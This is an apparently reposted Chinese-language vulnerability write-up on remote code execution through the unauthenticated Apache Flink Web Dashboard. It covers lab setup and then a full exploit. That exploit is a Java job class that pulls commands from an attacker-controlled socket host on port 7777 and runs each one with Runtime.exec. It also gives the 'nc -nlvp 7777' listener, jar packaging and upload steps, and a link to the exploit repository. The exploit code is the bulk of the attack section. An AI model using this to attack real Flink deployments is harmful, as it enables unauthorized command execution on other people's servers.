信息來源:nosec
簡介
Flink 核心是一個(gè)流式的數(shù)據(jù)流執(zhí)行引擎,其針對(duì)數(shù)據(jù)流的分布式計(jì)算提供了數(shù)據(jù)分布、數(shù)據(jù)通信以及容錯(cuò)機(jī)制等功能。基于流執(zhí)行引擎,F(xiàn)link 提供了諸多更高抽象層的 API 以便用戶編寫分布式任務(wù):
1、DataSet API: 對(duì)靜態(tài)數(shù)據(jù)進(jìn)行批處理操作,將靜態(tài)數(shù)據(jù)抽象成分布式的數(shù)據(jù)集,用戶可以方便地使用Flink提供的各種操作符對(duì)分布式數(shù)據(jù)集進(jìn)行處理,支持Java、Scala和Python。
2、DataStream API: 對(duì)數(shù)據(jù)流進(jìn)行流處理操作,將流式的數(shù)據(jù)抽象成分布式的數(shù)據(jù)流,用戶可以方便地對(duì)分布式數(shù)據(jù)流進(jìn)行各種操作,支持Java和Scala。
3、Table API:對(duì)結(jié)構(gòu)化數(shù)據(jù)進(jìn)行查詢操作,將結(jié)構(gòu)化數(shù)據(jù)抽象成關(guān)系表,并通過類SQL的DSL對(duì)關(guān)系表進(jìn)行各種查詢操作,支持Java和Scala。
漏洞情況
本次漏洞情況是由于 Apache Flink Web Dashboard 未授權(quán)訪問,上傳惡意jar導(dǎo)致遠(yuǎn)程代碼命令執(zhí)行。
搭建環(huán)境
環(huán)境要求:JDK 8官網(wǎng)下載地址:http://flink.apache.org/downloads.html 或者通過wget進(jìn)行下載:wget https://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
然后進(jìn)行解壓:tar zxvf flink-1.9.1-bin-scala_2.11.tgz
然后啟動(dòng):
cd f flink-1.9.1-bin-scala_2.11/bin
./start-cluster.sh
最后訪問本機(jī):http://localhost:8081/ 如果可以正常訪問表示安裝成功。
漏洞利用
Flink 可以通過上傳 jar 的方式來進(jìn)行執(zhí)行任務(wù),我們可以構(gòu)造利用代碼進(jìn)行上傳執(zhí)行。
添加 Archetype
添加 Archetype:
1、GroupId:org.apache.flink
2、ArtifactId:flink-quickstart-java
3、Version:1.9.0
4、創(chuàng)建任務(wù)項(xiàng)目
基于添加的flink-quickstart-java 進(jìn)行創(chuàng)建項(xiàng)目,然后點(diǎn)擊 Next
設(shè)置項(xiàng)目GroupId以及ArtifactId,然后點(diǎn)擊 Next
配置項(xiàng)目maven,然后點(diǎn)擊 Next
設(shè)置項(xiàng)目名稱以及項(xiàng)目路徑,然后點(diǎn)擊Finish
項(xiàng)目創(chuàng)建成功:
編寫任務(wù)
創(chuàng)建 SocketTextStreamExecute 類寫入一下代碼
public static void main(String[] args) throws Exception {
final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
DataStreamSource<String> stream = env.socketTextStream("ip", 7777);
stream.flatMap(new LineSplitter());
env.execute("execute code");
}
public static final class LineSplitter implements FlatMapFunction<String, Tuple2<String, Integer>> {
@Override
public void flatMap(String s, Collector<Tuple2<String, Integer>> collector) {
String[] tokens = s.toLowerCase().split("\\W+");
for (String token : tokens) {
if (token.length() > 0) {
try {
Process p = Runtime.getRuntime().exec(token);
//取得命令結(jié)果的輸出流
InputStream fis=p.getInputStream();
//用一個(gè)讀輸出流類去讀
InputStreamReader isr=new InputStreamReader(fis);
//用緩沖器讀行
BufferedReader br=new BufferedReader(isr);
String line=null;
//直到讀完為止
while((line=br.readLine())!=null)
{
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("token --> "+token);
}
}
}
}
最后通過 mvn clean package -DskipTests 將代碼編譯為 jar 文件。
執(zhí)行任務(wù)
開啟NC 監(jiān)聽端口
nc -nlvp 7777
將 jar 通過web上傳到任務(wù)中心,然后將Entity Class 修改為 com.r4v3zn.SocketTextStreamExecute 點(diǎn)擊 Submit 進(jìn)行執(zhí)行任務(wù)。
執(zhí)行任務(wù)之后,我們監(jiān)聽到 NC 端口將響應(yīng)信息:
執(zhí)行命令 ifconfig 之后通過日志進(jìn)行查看執(zhí)行結(jié)果。
代碼
代碼:https://github.com/0nise/sc ripts/tree/master/flinkrce